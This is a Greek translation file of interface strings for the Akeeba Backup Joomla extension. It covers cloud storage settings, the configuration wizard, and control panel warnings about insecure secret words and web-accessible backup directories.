COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_DESCRIPTION="Η διεύθυνση email για τον λογαριασμό SugarSync σας"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_TITLE="Email"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_DESCRIPTION="Ο κωδικός για τον λογαριασμό SugarSync σας"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_TITLE="Κωδικός"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_DESCRIPTION="Εισαγάγετε το Private Access Key που αντιστοιχεί στο Access Key ID σας. Δημιουργήστε ένα στο https://www.sugarsync.com/developer/account"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_TITLE="Private Access Key"
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_DESCRIPTION="Το endpoint για την υπηρεσία Keystone της εγκατάστασης OpenStack σας. Συμπεριλάβετε την έκδοση. ΜΗΝ συμπεριλάβετε το επίθεμα /token. Παράδειγμα: https://authentication.example.com/v2.0"
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_TITLE="URL Πιστοποίησης"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_DESCRIPTION="Το API endpoint για τον κοντέινερ αντικειμένων αποθήκευσής σας, π.χ. https://storage.example.com/v1/AUTH_abcdef0123456789abcdef0123456789/my-container"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_TITLE="URL Container"
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_DESCRIPTION="Ο κατάλογος εντός του κοντέινερ αντικειμένων αποθήκευσης OpenStack Swift για αποθήκευση των αρχείων backup. Για αποθήκευση όλων στον ριζικό κατάλογο του κοντέινερ, αφήστε κενό."
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_DESCRIPTION="Ο κωδικός API OpenStack για το cloud σας."
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_TITLE="Κωδικός OpenStack"
COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_DESCRIPTION="Το αναγνωριστικό tenant (Keystone v2) ή project (Keystone v3) OpenStack σας, π.χ. a0b1c2d3e4f56789abcdef0123456789"
COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_TITLE="Tenant ID / Project ID"
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_DESCRIPTION="Το όνομα χρήστη API OpenStack για το cloud σας."
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_TITLE="Όνομα χρήστη OpenStack"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_TITLE="Έκδοση Keystone"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_DESCRIPTION="Επιλέξτε ποια έκδοση της υπηρεσίας ελέγχου ταυτότητας OpenStack Keystone χρησιμοποιεί ο πάροχος αποθήκευσής σας. Εάν δεν είστε σίγουροι, παρακαλώ ρωτήστε τον πάροχο αποθήκευσής σας."
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V2="Keystone v2 (Παλαιό)"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V3="Keystone v3"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_TITLE="Τομέας ελέγχου ταυτότητας Keystone v3"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_DESCRIPTION="Χρησιμοποιείται μόνο με έλεγχο ταυτότητας Keystone v3. Αυτός είναι ο τομέας ελέγχου ταυτότητας για την υπηρεσία Keystone v3, <strong>ΟΧΙ</strong> το όνομα κεντρικού υπολογιστή του διακομιστή ελέγχου ταυτότητας Keystone. Στις περισσότερες περιπτώσεις είναι <code>default</code> ή <code>Default</code>. Εάν δεν είστε σίγουροι, παρακαλώ ρωτήστε τον πάροχο αποθήκευσής σας."
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TEXT="Παρουσιάστηκε σφάλμα κατά την αναμονή απόκρισης AJAX:"
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TITLE="Σφάλμα AJAX"
COM_AKEEBABACKUP_CONFIG_UI_BROWSE="Αναζήτηση..."
COM_AKEEBABACKUP_CONFIG_UI_BROWSER_TITLE="Περιηγητής καταλόγων"
COM_AKEEBABACKUP_CONFIG_UI_CONFIG="Ρύθμιση..."
COM_AKEEBABACKUP_CONFIG_UI_CUSTOM="Προσαρμοσμένο..."
COM_AKEEBABACKUP_CONFIG_UI_FTPBROWSER_TITLE="Περιηγητής καταλόγων FTP"
COM_AKEEBABACKUP_CONFIG_UI_REFRESH="Ανανέωση"
COM_AKEEBABACKUP_CONFIG_UI_ROOTDIR="Η χρήση του ριζικού φακέλου του ιστότοπου για αποθήκευση αντιγράφων ασφαλείας ή προσωρινών αρχείων θα οδηγήσει σε αποτυχία δημιουργίας αντιγράφου ασφαλείας. Παρακάμπτω τη ρύθμισή σας."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_NOTSECURED="Ο διακομιστής σας δεν υποστηρίζει κρυπτογράφηση των ρυθμίσεών σας. Σας συνιστούμε ανεπιφύλακτα να μην αποθηκεύετε κωδικούς πρόσβασης στη διαμόρφωση."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_SECURED="Οι ρυθμίσεις σας προστατεύονται με κρυπτογράφηση 128-bit. Μπορείτε να αποθηκεύσετε με ασφάλεια τους κωδικούς πρόσβασής σας στη διαμόρφωση."
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_DESCRIPTION="Όταν είναι ενεργοποιημένο, ένα αντίγραφο του Akeeba Kickstart Professional θα μεταφορτωθεί στον απομακρυσμένο χώρο αποθήκευσης που ορίζεται στη Μηχανή Μετα-επεξεργασίας παραπάνω (εκτός από τις μηχανές Κανένα και Email). Αυτό έχει νόημα κατά τη χρήση FTP ή SFTP για τη μεταφορά του ιστότοπού σας σε διαφορετικό διακομιστή: τόσο το αρχείο αντιγράφου ασφαλείας όσο και το Kickstart, που χρησιμοποιείται για την εξαγωγή του, θα μεταφορτωθούν στον απομακρυσμένο διακομιστή σας. Μετά την ολοκλήρωση του αντιγράφου ασφαλείας, μπορείτε να εκκινήσετε το Kickstart στον απομακρυσμένο ιστότοπο και να προχωρήσετε με την αποκατάσταση. Τόσο απλό!"
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_TITLE="Μεταφόρτωση Kickstart σε απομακρυσμένο χώρο αποθήκευσης"
COM_AKEEBABACKUP_CONFIG_USAGESTATS_DESC="Βοηθήστε μας να βελτιώσουμε το λογισμικό μας αναφέροντας ανώνυμα και αυτόματα τις εκδόσεις PHP, MySQL και Joomla! σας. Αυτές οι πληροφορίες θα μας βοηθήσουν να αποφασίσουμε ποιες εκδόσεις Joomla!, PHP και MySQL να υποστηρίξουμε στις μελλοντικές εκδόσεις. Σημείωση: ΔΕΝ συλλέγουμε το όνομα του ιστότοπού σας, τη διεύθυνση IP ή οποιαδήποτε άλλη άμεσα ή έμμεσα μοναδική πληροφορία αναγνώρισης."
COM_AKEEBABACKUP_CONFIG_USAGESTATS_LABEL="Ενεργοποίηση ανώνυμης αναφοράς εκδόσεων PHP, MySQL και Joomla!"
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_DESCRIPTION="Εάν έχετε ρυθμίσει καταλόγους εκτός ιστότοπου, τα περιεχόμενά τους θα εμφανίζονται μέσα στο αρχείο ως υποκατάλογοι αυτού του εικονικού καταλόγου. Είναι εικονικός γιατί δεν υπάρχει πραγματικά στον διακομιστή σας. Υπάρχει μόνο μέσα στο αρχείο αντιγράφου ασφαλείας. Βεβαιωθείτε ότι το όνομα του εικονικού καταλόγου δεν συγκρούεται με έναν υπάρχοντα κατάλογο για να αποφύγετε απώλεια δεδομένων."
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_TITLE="Εικονικός κατάλογος για αρχεία εκτός ιστότοπου"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_DESCRIPTION="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_DESCRIPTION="Κωδικός πρόσβασης"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_TITLE="Κωδικός πρόσβασης"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_DESCRIPTION="Βασικό URL WebDAV"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_TITLE="Βασικό URL WebDAV"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_DESCRIPTION="Όνομα χρήστη"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_TITLE="Όνομα χρήστη"
COM_AKEEBABACKUP_CONFIG_WHERE_ARE_THE_FILTERS="Εάν αναζητάτε τα φίλτρα &ndash;π.χ. για εξαίρεση αρχείων, καταλόγων και πινάκων βάσης δεδομένων&ndash; κάντε κλικ στο κουμπί Άκυρο για να επιστρέψετε στη σελίδα του Πίνακα Ελέγχου όπου μπορείτε να αποκτήσετε πρόσβαση σε αυτές τις λειτουργίες απευθείας."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_DESCRIPTION="Τα αρχεία ZIP αποτελούνται από μια ενότητα δεδομένων και μια ενότητα «καταλόγου». Αυτές οι ενότητες επεξεργάζονται παράλληλα από το Akeeba Backup και συνενώνονται κατά το στάδιο οριστικοποίησης του αρχείου. Αυτή η παράμετρος καθορίζει πόσα δεδομένα θα επεξεργαστούν ταυτόχρονα κατά αυτό το στάδιο. Δεν χρειάζεται να αλλάξετε αυτή τη ρύθμιση εκτός αν αντιμετωπίζετε σοβαρά προβλήματα εξάντλησης μνήμης."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_TITLE="Μέγεθος τμήματος για επεξεργασία κεντρικού καταλόγου"
COM_AKEEBABACKUP_CONFIG__BACKBLAZE_DIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFWIZ="Οδηγός διαμόρφωσης"
COM_AKEEBABACKUP_CONFWIZ_CONGRATS="Συγχαρητήρια! Ολοκληρώσατε τον αυτόματο οδηγό διαμόρφωσης. Μπορείτε τώρα να δοκιμάσετε τη νέα σας διαμόρφωση εκτελώντας ένα αντίγραφο ασφαλείας ή να την τελειοποιήσετε στη σελίδα Ρυθμίσεων."
COM_AKEEBABACKUP_CONFWIZ_DBOPT="Βελτιστοποίηση ρυθμίσεων μηχανής εξαγωγής βάσης δεδομένων"
COM_AKEEBABACKUP_CONFWIZ_DIRECTORY="Εξέταση καταλόγου εξόδου"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FAILED="Αποτυχία οδηγού διαμόρφωσης"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FINISHED="Ολοκλήρωση αξιολόγησης επιδόσεων"
COM_AKEEBABACKUP_CONFWIZ_INTROTEXT="Ο Οδηγός Διαμόρφωσης εκτελεί μια σειρά δοκιμών αξιολόγησης επιδόσεων στον διακομιστή σας για να καθορίσει τις βέλτιστες ρυθμίσεις αντιγράφου ασφαλείας για τον ιστότοπό σας. Παρακαλώ μην πλοηγηθείτε μακριά από αυτή τη σελίδα. Είναι φυσιολογικό να φαίνεται παγωμένη για περιόδους έως τριών (3) λεπτών, ανάλογα με την ταχύτητα του διακομιστή σας."
COM_AKEEBABACKUP_CONFWIZ_MAXEXEC="Βελτιστοποίηση του μέγιστου χρόνου εκτέλεσης"
COM_AKEEBABACKUP_CONFWIZ_MINEXEC="Βελτιστοποίηση του ελάχιστου χρόνου εκτέλεσης"
COM_AKEEBABACKUP_CONFWIZ_PROGRESS="Ανάλυση περιβάλλοντος διακομιστή σε εξέλιξη"
COM_AKEEBABACKUP_CONFWIZ_SPLITSIZE="Καθορισμός του απαιτούμενου μεγέθους τμήματος για διαιρεμένα αρχεία"
COM_AKEEBABACKUP_CONFWIZ_FLUSH="Έλεγχος εάν η <code>flush()</code> λειτουργεί στον διακομιστή σας"
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDBOPT="Το Akeeba Backup δεν μπόρεσε να καθορίσει τις βέλτιστες ρυθμίσεις εξαγωγής βάσης δεδομένων. Βεβαιωθείτε ότι ο διακομιστής σας εκτελεί MySQL 5.0 ή νεότερη έκδοση και ότι ο χρήστης βάσης δεδομένων σας έχει δικαίωμα να εκτελέσει την εντολή SHOW TABLE STATUS πριν εκτελέσετε αυτόν τον οδηγό ξανά."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEMINEXEC="Δεν ήταν δυνατός ο καθορισμός του ελάχιστου χρόνου εκτέλεσης. Αυτό υποδηλώνει σοβαρό πρόβλημα επικοινωνίας με τον διακομιστή σας. Παρακαλώ δοκιμάστε να ρυθμίσετε το Akeeba Backup χειροκίνητα."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEPARTSIZE="Το Akeeba Backup δεν μπόρεσε να καθορίσει ένα κατάλληλο μέγεθος τμήματος για τον διακομιστή σας. Βεβαιωθείτε ότι έχετε επαρκή ελεύθερο χώρο στο λογαριασμό σας και εκτελέστε αυτόν τον οδηγό ξανά."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTFIXDIRECTORIES="Το Akeeba Backup δεν μπόρεσε να βρει εγγράψιμο κατάλογο εξόδου και προσωρινό κατάλογο. Παρακαλώ δώστε δικαιώματα εγγραφής στον κατάλογο administrator/components/com_akeebabackup/backup και εκτελέστε αυτόν τον οδηγό ξανά."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMAXEXEC="Το Akeeba Backup δεν μπόρεσε να αποθηκεύσει τις προτιμήσεις μέγιστου χρόνου εκτέλεσης. Θα πρέπει να το ρυθμίσετε χειροκίνητα."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMINEXEC="Δεν ήταν δυνατή η αποθήκευση της προτίμησης ελάχιστου χρόνου εκτέλεσης. Θα πρέπει να ρυθμίσετε το Akeeba Backup χειροκίνητα."
COM_AKEEBABACKUP_CONFWIZ_UI_EXECTOOLOW="Το Akeeba Backup εντόπισε ότι ο διακομιστής σας απαιτεί μέγιστο χρόνο εκτέλεσης που είναι πολύ χαμηλός για να είναι πρακτικός. Είναι προτιμότερο να αλλάξετε παρόχους φιλοξενίας ή να ζητήσετε από τον πάροχό σας να αυξήσει τον μέγιστο χρόνο εκτέλεσης της PHP και να άρει τυχόν περιορισμούς χρήσης CPU από τον λογαριασμό σας."
COM_AKEEBABACKUP_CONFWIZ_UI_MINEXECTRY="Δοκιμή %s δευτερολέπτων"
COM_AKEEBABACKUP_CONFWIZ_UI_PARTSIZE="Δοκιμή μεγέθους τμήματος %s Mb"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVEMINEXEC="Αποθήκευση προτίμησης ελάχιστου χρόνου εκτέλεσης"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVINGMAXEXEC="Αποθήκευση προτίμησης μέγιστου χρόνου εκτέλεσης"
COM_AKEEBABACKUP_CONFWIZ_UI_TRYAJAX="Προσπάθεια υποβολής ασύγχρονου αιτήματος AJAX στον διακομιστή σας"

COM_AKEEBABACKUP_CONTROLPANEL="Πίνακας ελέγχου"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_HIDE="Υπενθύμισέ μου σε 15 ημέρες"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_LEARNMORE="Μάθετε περισσότερα για το <strong>Akeeba Backup Professional</strong>"
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_DISCOUNT="Χρησιμοποιήστε τον κωδικό κουπονιού <strong>%s</strong> για να εγγραφείτε με εισαγωγική έκπτωση <strong>20%%</strong>."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_1="Προσθέστε προγραμματισμένα αντίγραφα ασφαλείας, αυτόματη μεταφόρτωση σε 40+ παρόχους αποθήκευσης στο νέφος, ενσωματωμένη αποκατάσταση, οδηγό μεταφοράς ιστότοπου και πολλά άλλα με το <strong>Akeeba Backup Professional</strong>."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_2="Μία άδεια ισχύει για <strong>απεριόριστους ιστότοπους</strong>. Περιλαμβάνει υποστήριξη από τους προγραμματιστές που γράφουν αυτό το λογισμικό."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_PROUPSELL="Κάντε τη ζωή σας πιο εύκολη"
COM_AKEEBABACKUP_CONTROLPANEL_MSG_REBUILTTABLES="<h3>Ουπς! Οι πίνακες βάσης δεδομένων του Akeeba Backup είναι κατεστραμμένοι.</h3><p>Το Akeeba Backup εντόπισε ότι οι πίνακες βάσης δεδομένων του έλειπαν ή ήταν κατεστραμμένοι. Συνδεδεμένοι ως Υπερδιαχειριστής στο διαχειριστικό τμήμα του ιστότοπού σας, παρακαλώ μεταβείτε στο μενού Σύστημα στο πλευρικό μενού Joomla. Επιλέξτε τον σύνδεσμο Βάση δεδομένων στο τμήμα Συντήρηση. Επιλέξτε το στοιχείο Akeeba Backup από τη λίστα και κάντε κλικ στο κουμπί Ενημέρωση δομής στη γραμμή εργαλείων για να διορθώσετε τα προβλήματα πινάκων βάσης δεδομένων. Στη συνέχεια δοκιμάστε ξανά να αποκτήσετε πρόσβαση στο Akeeba Backup.</p>"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L1="Το Akeeba Backup δεν μπόρεσε να καθορίσει τα δικαιώματα του καταλόγου <code>media/com_akeebabackup</code>."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L2="Παρακαλώ κάντε ένα από τα παρακάτω:"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3A="Ενεργοποίηση της λειτουργίας FTP του Joomla! στις Γενικές Ρυθμίσεις"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3B="Αλλάξτε τα δικαιώματα του καταλόγου <code>media/com_akeebabackup</code> και όλων των υποκαταλόγων του σε 0755 και όλων των αρχείων του σε 0644 χρησιμοποιώντας τον πελάτη FTP σας."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L4="Το Akeeba Backup <strong><u>πιθανότατα δεν θα λειτουργεί καθόλου</u></strong> αν δεν εκτελέσετε αυτά τα βήματα. Εάν βλέπετε αυτό το μήνυμα, παρακαλώ ακολουθήστε τις οδηγίες πριν ζητήσετε υποστήριξη. Θα σας εξοικονομήσει πολύ χρόνο."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_WARNING="ΠΡΟΕΙΔΟΠΟΙΗΣΗ"
COM_AKEEBABACKUP_CPANEL_BTN_FESECRETWORD_RESET="Εφαρμογή της προτεινόμενης Μυστικής Λέξης"
COM_AKEEBABACKUP_CPANEL_BTN_FIXSECURITY="Διόρθωση ασφάλειας αντιγράφων ασφαλείας"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_BANNED="Η μυστική λέξη είναι ένας γνωστός κακός κωδικός πρόσβασης. Παρακαλώ μη χρησιμοποιείτε λέξεις λεξικού, ονόματα ταινιών / σειρών, τα ονόματα αγαπημένων σας ή κατοικίδιων."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_HEADER="Οι λειτουργίες αντιγράφου ασφαλείας front-end και απομακρυσμένης πρόσβασης είναι απενεργοποιημένες"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_INTRO="Η <em>Μυστική Λέξη</em> σας είναι ανασφαλής και μπορεί εύκολα να μαντευτεί. Για την προστασία του ιστότοπού σας, το Akeeba Backup έχει απενεργοποιήσει την πρόσβαση στο αντίγραφο ασφαλείας front-end και απομακρυσμένης πρόσβασης έως ότου εισάγετε μια ασφαλή Μυστική Λέξη. Το εντοπισμένο πρόβλημα είναι:"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_RESET="Δεν ήταν δυνατή η αλλαγή της Μυστικής Λέξης"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSHORT="Η μυστική λέξη είναι πολύ σύντομη. Χρησιμοποιήστε μυστική λέξη τουλάχιστον 8 χαρακτήρων."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSIMPLE="Η μυστική λέξη είναι πολύ απλή. Δοκιμάστε να χρησιμοποιήσετε πεζά και κεφαλαία γράμματα, αριθμούς και σημεία στίξης."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_COMMON="Εναλλακτικά, κάντε κλικ στο κουμπί παρακάτω για να επαναφέρετε τη μυστική λέξη στην προτεινόμενη τιμή <code>%s</code> Σε κάθε περίπτωση θα πρέπει να ενημερώσετε τις απομακρυσμένες υπηρεσίες αντιγράφου ασφαλείας ή/και τις εργασίες CRON με τη νέα Μυστική Λέξη."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_JOOMLA="Παρακαλώ κάντε κλικ στις Επιλογές, Front-end και εισάγετε μια πιο σύνθετη μυστική λέξη."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_SOLO="Παρακαλώ κάντε κλικ στη Ρύθμιση Συστήματος, Δημόσιο API και εισάγετε μια πιο σύνθετη μυστική λέξη."
COM_AKEEBABACKUP_CPANEL_ERR_INVALIDDOWNLOADID="Μη έγκυρη μορφή ID λήψης. Παρακαλώ ακολουθήστε τις οδηγίες μας για να αποκτήσετε το ID λήψης. Μη εισάγετε το όνομα χρήστη, τη διεύθυνση email ή τον κωδικό πρόσβασής σας σε αυτό το πεδίο."
COM_AKEEBABACKUP_CPANEL_HEADER_ADVANCED="Προηγμένες λειτουργίες"
COM_AKEEBABACKUP_CPANEL_HEADER_BASICOPS="Βασικές λειτουργίες"
COM_AKEEBABACKUP_CPANEL_HEADER_INCLUDEEXCLUDE="Πληροφορίες συμπερίληψης και εξαίρεσης"
COM_AKEEBABACKUP_CPANEL_HEADER_QUICKBACKUP="Αντίγραφο ασφαλείας με ένα κλικ"
COM_AKEEBABACKUP_CPANEL_HEADER_TROUBLESHOOTING="Αντιμετώπιση προβλημάτων"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE="Μη ασφαλής κατάλογος εξόδου"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE_ALT="Πιθανώς μη ασφαλής κατάλογος εξόδου και όνομα αρχείου αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INVALID="Μη έγκυρος κατάλογος εξόδου"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_UNFIXABLE="Αδύνατη η διόρθωση του ζητήματος ασφαλείας καταλόγου εξόδου"
COM_AKEEBABACKUP_CPANEL_LABEL_STATUSSUMMARY="Σύνοψη κατάστασης"
COM_AKEEBABACKUP_CPANEL_LBL_INCLUDEEXCLUDE_CALLOUT="Οι επιλογές συμπερίληψης και εξαίρεσης εφαρμόζονται μόνο στο ενεργό προφίλ αντιγράφου ασφαλείας."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_CLICKTHEBUTTON="Κάντε κλικ στο κουμπί παρακάτω για να διορθώσετε αυτό το ζήτημα. Δείτε τι κάνει."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_DELETEORBEHACKED="Μέχρι να το κάνετε, <strong>ΣΥΝΙΣΤΟΥΜΕ ΕΝΤΟΝΑ</strong> να μη δημιουργείτε αντίγραφο ασφαλείας του ιστότοπού σας και, εάν το είχατε ήδη κάνει, να διαγράψετε όλα τα αρχεία αντιγράφων ασφαλείας και τα αρχεία καταγραφής. <strong>Η ΜΗ ΣΥΜΜΟΡΦΩΣΗ ΜΕ ΑΥΤΕΣ ΤΙΣ ΟΔΗΓΙΕΣ ΘΑ ΟΔΗΓΗΣΕΙ ΠΟΛΥ ΠΙΘΑΝΑ ΣΕ ΠΑΡΑΒΙΑΣΗ (HACKING) ΤΟΥ ΙΣΤΟΤΟΠΟΥ ΣΑΣ ΚΑΙ ΤΑ ΑΝΤΙΓΡΑΦΑ ΑΣΦΑΛΕΙΑΣ ΣΑΣ ΘΑ ΕΙΝΑΙ ΠΟΛΥ ΠΙΘΑΝΑ ΑΧΡΗΣΤΑ.</strong>"
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FILEREADABLE="Το Akeeba Backup εντόπισε ότι ο κατάλογος εξόδου αντιγράφου ασφαλείας <code>%s</code> βρίσκεται κάτω από τον ριζικό κατάλογο ιστού του ιστότοπού σας. Τα περιεχόμενά του, συμπεριλαμβανομένων των αρχείων αντιγράφων ασφαλείας, είναι προσβάσιμα μέσω του διαδικτύου. Ωστόσο, ΔΕΝ είναι δυνατή η εμφάνιση της λίστας αρχείων του καταλόγου με πρόγραμμα περιήγησης ιστού. <strong>Αυτό μπορεί να αποτελεί πρόβλημα ασφαλείας</strong>. Ένας εισβολέας μπορεί να μαντέψει το όνομα του αρχείου αντιγράφου ασφαλείας και να το κατεβάσει απευθείας, παρακάμπτοντας την ασφάλεια του ιστότοπού σας."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_RANDOM="Το «Όνομα αρχείου εξόδου αντιγράφου ασφαλείας» σας θα τροποποιηθεί ώστε να περιλαμβάνει τη μεταβλητή <code>[RANDOM]</code>. Αυτό καθιστά πρακτικά αδύνατη την εικασία των ονομάτων αρχείων αντιγράφων ασφαλείας προσθέτοντας 16 διαφορετικά, τυχαία γράμματα ή/και αριθμούς στο όνομα αρχείου αρχείου αντιγράφου ασφαλείας κάθε φορά που δημιουργείτε αντίγραφο ασφαλείας."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_SECURITYFILES="Ένα αρχείο <code>.htaccess</code> και ένα <code>web.config</code> θα εγγραφούν σε αυτόν τον φάκελο. Στους περισσότερους διακομιστές αυτό είναι αρκετό για να αποτραπεί η άμεση λήψη αρχείων από το διαδίκτυο και απενεργοποιεί την εμφάνιση λίστας αρχείων. Έχουμε επίσης λύση για διακομιστές όπου αυτά τα ειδικά αρχεία δεν έχουν αποτέλεσμα. Τρία ακόμα αρχεία με ονόματα <code>index.php</code>, <code>index.html</code> και <code>index.htm</code> θα εγγραφούν επίσης σε αυτόν τον φάκελο. Αυτά τα αρχεία ευρετηρίου αποτρέπουν τον διακομιστή ιστού από το να παραθέτει τα ονόματα των αρχείων αντιγράφων ασφαλείας και των αρχείων καταγραφής."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM="Επιπλέον, ο κατάλογος εξόδου σας είναι ο ίδιος ή υποκατάλογος ενός φακέλου που χρησιμοποιεί το Joomla και οι επεκτάσεις του για τα δικά του, δημοσίως προσβάσιμα αρχεία."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM_FIX="Πρέπει να μεταβείτε στη σελίδα Ρυθμίσεων του Akeeba Backup και να επιλέξετε έναν διαφορετικό κατάλογο εξόδου."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_LISTABLE="Το Akeeba Backup εντόπισε ότι ο κατάλογος εξόδου αντιγράφου ασφαλείας <code>%s</code> βρίσκεται κάτω από τον ριζικό κατάλογο ιστού του ιστότοπού σας. Τα περιεχόμενά του, συμπεριλαμβανομένων των αρχείων αντιγράφων ασφαλείας, είναι προσβάσιμα μέσω του διαδικτύου. Επιπλέον, είναι δυνατή η εμφάνιση λίστας αρχείων του καταλόγου, δηλαδή εμφανίζει λίστα των αρχείων αντιγράφων ασφαλείας όταν αποκτάτε πρόσβαση με πρόγραμμα περιήγησης ιστού. <strong>Αυτό αποτελεί σοβαρό ζήτημα ασφαλείας</strong>. Ένας εισβολέας μπορεί να αποκτήσει πρόσβαση σε αυτόν τον φάκελο μέσω προγράμματος περιήγησης ιστού και να κατεβάσει τα αρχεία αντιγράφων ασφαλείας απευθείας, παρακάμπτοντας την ασφάλεια του ιστότοπού σας."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_TRASHHOST="Δυστυχώς, ο διακομιστής σας δεν υποστηρίζει καμία εύλογη μέθοδο για να ασφαλίσει τον κατάλογο. Ανεξάρτητα από ό,τι κάνουμε, θα εμφανίζει πάντα τα ονόματα των αρχείων που περιέχει και θα επιτρέπει τη λήψη τους από πρόγραμμα περιήγησης. Η μοναδική σας επιλογή είναι να δημιουργήσετε έναν κατάλογο εξόδου αντιγράφου ασφαλείας πάνω από τον ριζικό κατάλογο του ιστότοπού σας."
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_ERROR="Εντοπισμένα σφάλματα απαγορεύουν τη σκοπούμενη λειτουργία"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_OK="Το Akeeba Backup είναι έτοιμο να δημιουργήσει αντίγραφο ασφαλείας του ιστότοπού σας"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_WARNING="Το Akeeba Backup είναι έτοιμο να δημιουργήσει αντίγραφο ασφαλείας του ιστότοπού σας, αλλά υπάρχουν πιθανά προβλήματα"
COM_AKEEBABACKUP_CPANEL_LBL_UNWRITABLE="Μη εγγράψιμο"
COM_AKEEBABACKUP_CPANEL_LBL_WRITABLE="Εγγράψιμο"
